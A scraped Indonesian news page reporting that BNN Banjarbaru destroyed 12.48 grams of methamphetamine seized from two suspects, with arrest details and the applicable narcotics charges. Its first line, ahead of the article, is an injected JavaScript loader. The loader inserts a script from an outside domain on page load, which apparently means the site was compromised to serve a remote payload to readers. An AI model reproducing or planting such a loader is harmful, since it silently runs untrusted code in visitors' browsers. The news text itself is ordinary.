(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tak berselang sebulan semenjak pemusnahan barang bukti kepemilikan sabu-sabu dengan tersangka AM, atas kepemilikan sabu-sabu 5,76 gram, kembali BNN (Badan Narkotika Nasional) Banjarbaru memusnahkan barang bukti sabu-sabu seberat 12,48 gram yang diamankan dari dua tersangka inisial Y dan GN.
Kepala Seksi Pemberantasan BNN Banjarbaru AKP Abdul Mufid menyampaikan, barang bukti yang dimusnahkan merupakan hasil operasi yang dilakukan pihak BNN Banjarbaru bekerjasama dengan Polres Banjarbaru pada 15 Februari 2018 di dua tempat berbeda.
Mufid menjelaskan, penangkapan bermula dari tertangkapnya Y di Jalan Bina Murni Guntung Jingah, Loktabat Utara, Kecamatan Banjarbaru Utara. Penangkapan Y bermula dari penyamaran petugas yang menyamar sebagai pembeli, saat transaksi inilah petugas menciduk Y. Petugas menangkap Y karena telah memperjualbelikan 1 paket narkotika jenis sabu-sabu dengan berat kotor 0,42 gram dan berat bersih 0,10 gram.
Pengembangan berlanjut kepada tersangka GN. Di hari yang sama sekitar pukul 17.00 Wita, petugas melakukan penangkapan tersangka GN. GN dijemput dari rumahnya di Jalan A Yani Km 58 Desa Banua Anyar, Danak Salak, Kecamatan Astambul, Kabupaten Banjar.
“Tersangka GN pada saat penangkapan sempat melarikan diri dengan cara melompat keluar jendela rumah. Setelah dilakukan pengejaran oleh petugas, akhirnya GN berhasil ditangkap di belakang rumah,†katanya.
Dari hasil penggeledahan, petugas menemukan di badan GN barang bukti 1 bungkus rokok Sampoerna 16 yang berisi paket sabu-sabu dengan berat bersih 4,74 gram. Satu dompet kecil warna abu-abu yang berisi beberapa paket sabu-sabu yang memiliki berat berbeda dengan total berat bersih 2,84 gram.
“Jumlah keseluruhan berat barang bukti yang didapatkan dari tersangka GN dengan berat kotor 12,06 gram dan berat bersih 7,58 gram,†ucap Mufid saat kegiatan pemusnahan barang bukti di Kantor BNN Banjarbaru, Senin (26/2).
Mufid menambahkan, pelaku dijerat dengan tindak pidana penyalahgunaan dan peredaran gelap narkotika golongan I jenis sabu-sabu, sebagaimana dimaksud dalam pasal 114 ayat (2) UU RI No 35 Tahun 2009, tentang Narkotika dengan ancaman pidana dengan pidana mati, pidana seumur hidup, atau pidana penjara paling singkat 6 tahun dan paling lama 20 tahun dan denda maksimum sebagaimana dimaksud pada ayat (1) ditambah 1/3.
Hadir dalam pemusnahan Kapolsek Banjarbaru Kota Kompol Purbo Raharjo, Kasat Narkoba Polres Banjarbaru IPTU Zaenuri dan Kasipidum Kejari Banjarbaru Imam Cahyono, serta Majelis Ulama Indonesia Banjarbaru. (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
This website uses cookies.